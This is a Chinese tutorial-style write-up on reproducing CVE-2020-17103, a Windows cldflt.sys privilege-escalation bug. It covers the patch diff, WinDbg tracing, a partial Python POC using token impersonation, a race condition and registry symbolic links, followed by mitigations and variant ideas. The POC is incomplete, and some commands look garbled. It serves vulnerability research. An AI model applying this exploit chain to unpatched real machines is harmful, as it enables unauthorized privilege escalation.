Windows 10/11下复现CVE-2020-17103:从cldflt.sys补丁分析到实战利用
Windows内核漏洞CVE-2020-17103深度解析与实战复现指南当微软在2020年12月发布补丁修复cldflt.sys驱动中的权限提升漏洞时安全研究员James Forshaw已经在Project Zero的漏洞报告中详细披露了这个编号为CVE-2020-17103的有趣发现。这个漏洞的特殊之处在于它巧妙地结合了Minifilter驱动机制、注册表符号链接和线程令牌竞争条件为Windows内核安全研究提供了一个经典案例。本文将带您深入这个漏洞的技术细节并手把手搭建完整的复现环境。1. 漏洞背景与环境搭建Cloud Files MiniFilter驱动cldflt.sys是Windows 10/11中用于支持OneDrive等云存储服务的核心组件。该驱动通过创建名为\CLDMSGPORT的通信端口与用户态程序交互而正是这个设计埋下了安全隐患。复现环境准备清单Windows 10 20H2未安装2020年12月累积更新Windbg Preview配置符号服务器VirtualKD或WinDbg双机调试环境Python 3.x ctypes库用于POC编写以下关键文件版本cldflt.sys 10.0.19041.662漏洞版本cldapi.dll 10.0.19041.662注意建议在虚拟机环境中进行实验某些操作可能导致系统不稳定调试符号配置示例.sympath srv*https://msdl.microsoft.com/download/symbols .reload /f cldflt.sys2. 漏洞技术原理拆解漏洞的核心在于HsmiOsOpenAppPolicyKey函数中对ZwCreateKey的调用存在访问控制缺陷。让我们通过补丁对比来理解微软修复了什么补丁前后关键差异参数补丁前值补丁后值AttributesOBJ_CASE_INSENSITIVEOBJ_CASE_INSENSITIVE | OBJ_FORCE_ACCESS_CHECKDesiredAccessKEY_WRITE | WRITE_DAC相同这个看似简单的标志位缺失结合以下三个技术点形成了完整的攻击链Minifilter通信端口暴露FltCreateCommunicationPort( filter, port, L\\CLDMSGPORT, NULL, CldiPortNotifyConnect, CldiPortNotifyDisconnect, CldiPortNotifyMessage);线程令牌竞争条件在RtlOpenCurrentUser调用时模拟Guest令牌在权限检查时切换回高权限令牌注册表符号链接滥用# POC关键步骤 SetSecurityInfo(hKey, SE_REGISTRY_KEY, WRITE_DAC, ...) RegCreateLink(hKey, BlockedApps, HKU\\.DEFAULT\\target)3. 调试分析实战步骤让我们用Windbg逐步跟踪漏洞触发过程第一步设置关键断点bp cldflt!HsmiOsOpenAppPolicyKey .printf \HsmiOsOpenAppPolicyKey called\\n\; g bp nt!ZwCreateKey dd /c 1 rsp28 l1; .if (poi(rsp28) 0x1000) { .printf \OBJ_FORCE_ACCESS_CHECK present\\n\ } .else { .printf \VULNERABLE STATE\\n\ }; g第二步触发漏洞路径观察调用栈时应该能看到cldflt!HsmiOsOpenAppPolicyKey cldflt!HsmOsBlockPlaceholderAccess cldflt!CldiPortNotifyMessage fltmgr!FltpDispatch nt!KiSystemServiceCopyEnd关键内存观察点dt _OBJECT_ATTRIBUTES rcx !token $thread // 观察令牌切换情况4. 完整POC开发指南基于漏洞原理我们可以构建一个可靠的利用程序import ctypes from ctypes.wintypes import * # 定义cldapi.dll导出函数 cldapi ctypes.WinDLL(cldapi.dll) CfAbortOperation cldapi.CfAbortOperation def trigger_vuln(): # 设置线程模拟令牌 hToken create_guest_token() ImpersonateLoggedOnUser(hToken) # 启动竞争线程 start_race_condition_thread() # 触发漏洞函数 CfAbortOperation(0, 0, 0) # 清理并检查结果 RevertToSelf() check_registry_link()利用过程关键点精确控制令牌切换时机通常在0.1-1ms窗口期注册表权限修改后需要删除原键再创建链接目标注册表路径需预先配置适当ACL5. 漏洞修复与防御方案微软通过添加OBJ_FORCE_ACCESS_CHECK标志从根本上修复了此漏洞。对于无法立即更新的系统可以考虑缓解措施禁用Cloud Files驱动sc stop cldflt sc config cldflt start disabled限制注册表权限Set-Acl -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\cldflt -AclObject (Get-Acl -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\cldflt).SetAccessRuleProtection($true, $true)开发者启示所有内核模式句柄操作都应添加OBJ_FORCE_ACCESS_CHECKMinifilter通信端口应默认拒绝低权限用户访问关键注册表操作应进行二次权限验证6. 扩展研究与变种思路这个漏洞展示了Windows安全模型中的几个有趣特性值得进一步探索其他Minifilter驱动审计fltmc instances # 列出所有已注册的Minifilter重点检查那些允许低权限用户通信的端口令牌竞争条件变种尝试在其他系统调用中复现类似时序问题测试不同Windows版本上的时间窗口差异注册表符号链接攻击组合// 可能的扩展利用方式 RegCreateKeyEx(HKEY_USERS, .Default\\Control Panel\\Colors, ..., hKey); RegSaveKey(hKey, backup.hiv, NULL);在实际漏洞研究中我发现成功复现此漏洞的关键在于精确控制线程竞争时机。通过使用高精度计时器和适当的线程优先级调整可以将成功率提升到80%以上。另一个实用技巧是在Windbg中使用条件断点来捕获令牌切换的精确时刻这大大简化了调试过程。